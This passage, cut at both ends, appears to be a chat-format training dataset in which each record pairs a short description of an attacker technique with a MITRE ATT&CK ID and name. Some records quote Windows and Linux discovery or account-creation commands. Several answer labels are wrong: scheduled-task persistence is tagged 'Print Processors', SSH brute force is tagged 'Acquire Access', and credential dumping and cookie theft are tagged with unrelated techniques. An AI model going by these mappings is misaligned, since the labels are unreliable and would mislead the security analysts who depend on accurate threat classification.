            {
                "role": "user",
                "content": "Adversary takes advantage of an unmonitored AWS ‘us‑west‑2‑gov’ region, setting up a serverless function that harvests metadata from other cloud workloads."
            },
            {
                "role": "assistant",
                "content": "T1535 - Unused/Unsupported Cloud Regions"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An infection collects the output of 'uname -a' on Linux to identify kernel version and architecture."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After collecting browser history, the malware stages the data in a hidden \"tmp\" folder on the victim’s system."
            },
            {
                "role": "assistant",
                "content": "T1074.001 - Data Staged: Local Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor sets up a persistent listener on TCP port 12345, allowing remote operators to issue commands over an uncommon port."
            },
            {
                "role": "assistant",
                "content": "T1571 - Non-Standard Port"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker used a brute-force attack against SSH to guess credentials and gain entry to the server."
            },
            {
                "role": "assistant",
                "content": "T1650 - Acquire Access"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor modified an existing .lnk file to point to a remote executable, ensuring execution on user logon."
            },
            {
                "role": "assistant",
                "content": "T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During execution, the code checks the system's time zone and locale settings to guess the user's region."
            },
            {
                "role": "assistant",
                "content": "T1614 - System Location Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group orchestrated a layered DDoS attack combining SYN, UDP, and HTTP floods to exhaust the victim's bandwidth and processing capacity."
            },
            {
                "role": "assistant",
                "content": "T1498 - Network Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker uses protocol impersonation to send data over what appears to be normal SMTP traffic, evading network monitoring."
            },
            {
                "role": "assistant",
                "content": "T1001.003 - Data Obfuscation: Protocol Impersonation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group executed a vishing operation by exploiting a recently leaked voicemail script, prompting victims to share two‑factor authentication codes."
            },
            {
                "role": "assistant",
                "content": "T1566.004 - Phishing: Spearphishing Voice"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use compromised developer accounts to request legitimate digital certificates for signing their implants."
            },
            {
                "role": "assistant",
                "content": "T1587.003 - Develop Capabilities: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An intrusion campaign includes altering Group Policy to push a malicious Logon Script that harvests credentials from logged-in users."
            },
            {
                "role": "assistant",
                "content": "T1484.001 - Domain Policy Modification: Group Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group uses a credential dumping tool to extract saved Outlook passwords from compromised workstations."
            },
            {
                "role": "assistant",
                "content": "T1586.002 - Compromise Accounts: Email Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary leverages a signed Apple binary to bypass Keychain restrictions and read stored credit card numbers."
            },
            {
                "role": "assistant",
                "content": "T1555.001 - Credentials from Password Stores: Keychain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group sends spoofed UDP packets to a vulnerable TFTP server, which replies with the entire requested file, amplifying traffic toward the target."
            },
            {
                "role": "assistant",
                "content": "T1498.002 - Network Denial of Service: Reflection Amplification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By inserting a \\u202E character into the filename \"report2022.docx‮.exe\", the attacker ensures the executable runs while appearing as a Word document."
            },
            {
                "role": "assistant",
                "content": "T1036.002 - Masquerading: Right-to-Left Override"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses WMIC `wmic groups get name` to enumerate local groups on the host."
            },
            {
                "role": "assistant",
                "content": "T1069.001 - Permission Groups Discovery: Local Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script invoked the Get-WmiObject cmdlet to enumerate installed antivirus products."
            },
            {
                "role": "assistant",
                "content": "T1047 - Windows Management Instrumentation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Through a supply chain attack, the actor steals the signing certificate used for code signing and signs ransomware payloads as trusted software."
            },
            {
                "role": "assistant",
                "content": "T1649 - Steal or Forge Authentication Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware silently installs a rootkit on a Linux server after exploiting a kernel vulnerability."
            },
            {
                "role": "assistant",
                "content": "T1584.004 - Compromise Infrastructure: Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary injects malicious JavaScript into a trusted website to read the victim's session cookies and then reuses them to impersonate the user on the target application."
            },
            {
                "role": "assistant",
                "content": "T1606.001 - Forge Web Credentials: Web Cookies"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary compromised the package manager’s index server, allowing them to serve a malicious version of a commonly used library to unsuspecting users."
            },
            {
                "role": "assistant",
                "content": "T1195.001 - Supply Chain Compromise: Compromise Software Dependencies and Development Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious campaign uses serverless containers on a Kubernetes service to run short‑lived scans of exposed services."
            },
            {
                "role": "assistant",
                "content": "T1583.007 - Acquire Infrastructure: Serverless"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By altering Linux socket filters, the intruder intercepts DNS queries and injects spoofed responses to control victim machines."
            },
            {
                "role": "assistant",
                "content": "T1205.002 - Traffic Signaling: Socket Filters"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hacker used the Docker socket mounted inside a container to issue container management commands, achieving host compromise."
            },
            {
                "role": "assistant",
                "content": "T1609 - Container Administration Command"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uses port knocking by sending UDP packets to ports 1234, 5678, and 9012 in that exact order to trigger the server to allow remote SSH access."
            },
            {
                "role": "assistant",
                "content": "T1205.001 - Traffic Signaling: Port Knocking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers exfiltrate data by sending it as multipart/form‑data in HTTP requests to a maliciously registered AWS S3 bucket configured for static website hosting."
            },
            {
                "role": "assistant",
                "content": "T1567 - Exfiltration Over Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary exploits DHCP spoofing by sending crafted DHCPACK messages with attacker‑controlled DNS servers, facilitating domain hijacking."
            },
            {
                "role": "assistant",
                "content": "T1557.003 - Adversary-in-the-Middle: DHCP Spoofing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A stealthy trojan performs a WMI query for Win32_ComputerSystem.ProductName and looks for values like 'Virtual Machine' or 'KVM'."
            },
            {
                "role": "assistant",
                "content": "T1497.001 - Virtualization/Sandbox Evasion: System Checks"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The exfiltration tool uses TLS-secured gRPC streams to transfer data out of the network."
            },
            {
                "role": "assistant",
                "content": "T1573 - Encrypted Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor uses a compromised service account to pivot laterally within the network."
            },
            {
                "role": "assistant",
                "content": "T1586 - Compromise Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code loads DLLs and resolves function addresses on the fly using LoadLibrary and GetProcAddress to hide its API calls."
            },
            {
                "role": "assistant",
                "content": "T1027.007 - Obfuscated Files or Information: Dynamic API Resolution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A zero‑day exploit was used to inject JavaScript into a financial application’s web portal, capturing both login and transaction confirmation inputs."
            },
            {
                "role": "assistant",
                "content": "T1056.003 - Input Capture: Web Portal Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script reads the LSASS process to obtain token handles and then spawns a malicious process with elevated rights."
            },
            {
                "role": "assistant",
                "content": "T1134 - Access Token Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors embed malicious macros that call a VBScript function to decode URL‑encoded strings representing commands."
            },
            {
                "role": "assistant",
                "content": "T1140 - Deobfuscate/Decode Files or Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor exploits the Office macro environment to trigger a system script proxy, causing a hidden script to run without raising alerts."
            },
            {
                "role": "assistant",
                "content": "T1216 - System Script Proxy Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Spyware packages credentials into a JSON object and Base64‑encodes the result before exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1132 - Data Encoding"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious code executed a series of \"copy\" and \"move\" commands via the command shell to relocate stolen files."
            },
            {
                "role": "assistant",
                "content": "T1059.003 - Command and Scripting Interpreter: Windows Command Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A custom script was used to search the company’s internal document management system for PDFs that contained personal identifying information."
            },
            {
                "role": "assistant",
                "content": "T1213 - Data from Information Repositories"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder alters the domain trust attributes, creating a backdoor trust relationship with a rogue server."
            },
            {
                "role": "assistant",
                "content": "T1484.002 - Domain Policy Modification: Domain Trust Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code runs 'sc query' to list system services and identify those with weak permissions."
            },
            {
                "role": "assistant",
                "content": "T1007 - System Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors subscribe to a closed‑source intelligence service to obtain details about upcoming software patches."
            },
            {
                "role": "assistant",
                "content": "T1597.001 - Search Closed Sources: Threat Intel Vendors"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A .lnk file was dropped into the Windows startup folder that launches a malicious PowerShell command line."
            },
            {
                "role": "assistant",
                "content": "T1547.009 - Boot or Logon Autostart Execution: Shortcut Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware injects extra SIDs into a user's SID-History, causing the access token to contain unauthorized privileges."
            },
            {
                "role": "assistant",
                "content": "T1134.005 - Access Token Manipulation: SID-History Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers use DNS tunneling over the C2 channel to smuggle confidential documents out of the network."
            },
            {
                "role": "assistant",
                "content": "T1041 - Exfiltration Over C2 Channel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker conducts a reverse WHOIS lookup to find other domains registered with the same registrant details as the victim's domain."
            },
            {
                "role": "assistant",
                "content": "T1590.001 - Gather Victim Network Information: Domain Properties"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker programs a stealthy rootkit for Linux kernels to hide malicious processes and files."
            },
            {
                "role": "assistant",
                "content": "T1587.001 - Develop Capabilities: Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary crafts a token with a fabricated ParentProcessId, enabling the malicious process to inherit the privileges of the spoofed parent."
            },
            {
                "role": "assistant",
                "content": "T1134.004 - Access Token Manipulation: Parent PID Spoofing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious script reads a base64‑encoded list of domains and resolves them one by one until a reachable IP is found."
            },
            {
                "role": "assistant",
                "content": "T1568 - Dynamic Resolution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set transfers stolen credentials to an external SMTP server using clear‑text email without authentication."
            },
            {
                "role": "assistant",
                "content": "T1048.003 - Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder employs a scheduled task that calls \"net localgroup \"Domain Users\" /add\" to silently add a new domain user."
            },
            {
                "role": "assistant",
                "content": "T1136.002 - Create Account: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Post-exploitation of a Windows file server, the malicious actor altered the default index.html to display a ransom note to internal users."
            },
            {
                "role": "assistant",
                "content": "T1491.001 - Defacement: Internal Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An email appears to come from the company's IT helpdesk and includes a link to a bogus password reset portal that harvests credentials."
            },
            {
                "role": "assistant",
                "content": "T1566.002 - Phishing: Spearphishing Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor performs credential dumping to obtain RDP login details, then reconnects and hijacks the live remote desktop session."
            },
            {
                "role": "assistant",
                "content": "T1563.002 - Remote Service Session Hijacking: RDP Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An advanced persistent threat utilizes a custom shellcode that parses the export table of advapi32.dll at runtime to locate RegOpenKeyExW without static imports."
            },
            {
                "role": "assistant",
                "content": "T1027.007 - Obfuscated Files or Information: Dynamic API Resolution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor uses a compromised VPN gateway to move laterally onto internal database servers."
            },
            {
                "role": "assistant",
                "content": "T1584.004 - Compromise Infrastructure: Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary adds a new entry to the Task Scheduler's 'OnIdle' trigger to execute a payload."
            },
            {
                "role": "assistant",
                "content": "T1547.012 - Boot or Logon Autostart Execution: Print Processors"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious software hijacks the system binary mmc.exe to proxy execution of additional malicious modules."
            },
            {
                "role": "assistant",
                "content": "T1218.014 - System Binary Proxy Execution: MMC"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Persistent backdoor installed by creating a systemd service that runs a reverse TCP connection as root."
            },
            {
                "role": "assistant",
                "content": "T1543.002 - Create or Modify System Process: Systemd Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker replaces a common shared library on a software repository with a malicious version that runs on all dependent applications."
            },
            {
                "role": "assistant",
                "content": "T1080 - Taint Shared Content"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion set runs a Visual Basic for Applications (VBA) macro embedded in a Word document to install a backdoor."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker modifies a shared system library to include a backdoor, so any program that loads the library becomes compromised."
            },
            {
                "role": "assistant",
                "content": "T1080 - Taint Shared Content"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the intrusion, the attacker uses a hidden module to intercept and store input from virtual keyboards on mobile devices."
            },
            {
                "role": "assistant",
                "content": "T1056 - Input Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary uses dynamic DNS resolution to retrieve the IP address of a malicious server before establishing connection."
            },
            {
                "role": "assistant",
                "content": "T1568 - Dynamic Resolution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the post-exploitation phase, the attacker runs rundll32.exe with a custom entry point in a DLL to execute arbitrary code under the context of the logged‑in user."
            },
            {
                "role": "assistant",
                "content": "T1218.011 - System Binary Proxy Execution: Rundll32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary injects a malicious container image into the victim's internal registry, allowing subsequent deployment of compromised workloads."
            },
            {
                "role": "assistant",
                "content": "T1525 - Implant Internal Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker runs \"wmic product get name,version\" to enumerate all installed applications on the compromised Windows host."
            },
            {
                "role": "assistant",
                "content": "T1518 - Software Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion technique involves creating a new process in a suspended state, wiping its original memory image, and injecting malicious DLLs to gain persistence."
            },
            {
                "role": "assistant",
                "content": "T1055.012 - Process Injection: Process Hollowing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leverages raw IPv6 hop-by-hop extension headers to hide C2 traffic from network monitors."
            },
            {
                "role": "assistant",
                "content": "T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers harvest credential dumps from a third‑party data breach and use the information to gain unauthorized access."
            },
            {
                "role": "assistant",
                "content": "T1589.001 - Gather Victim Identity Information: Credentials"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker executes a credential stuffing campaign against a gaming platform by sending HTTP POST requests with compromised username/password pairs at a rapid rate."
            },
            {
                "role": "assistant",
                "content": "T1110.004 - Brute Force: Credential Stuffing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the breach, the attacker creates a new domain user and grants it \"Enterprise Admin\" rights."
            },
            {
                "role": "assistant",
                "content": "T1098 - Account Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A trojan leverages the macOS \"open -a\" command to add its launch agent to the current user's Login Items, causing the payload to start automatically at each logon."
            },
            {
                "role": "assistant",
                "content": "T1547.015 - Boot or Logon Autostart Execution: Login Items"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Compromised host stores harvested files in a random-named folder within the user's AppData directory for later collection."
            },
            {
                "role": "assistant",
                "content": "T1074 - Data Staged"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker swaps the device's current firmware for a previous version to re‑enable known vulnerabilities."
            },
            {
                "role": "assistant",
                "content": "T1601.002 - Modify System Image: Downgrade System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised service account is abused to access privileged resources across the network."
            },
            {
                "role": "assistant",
                "content": "T1078 - Valid Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
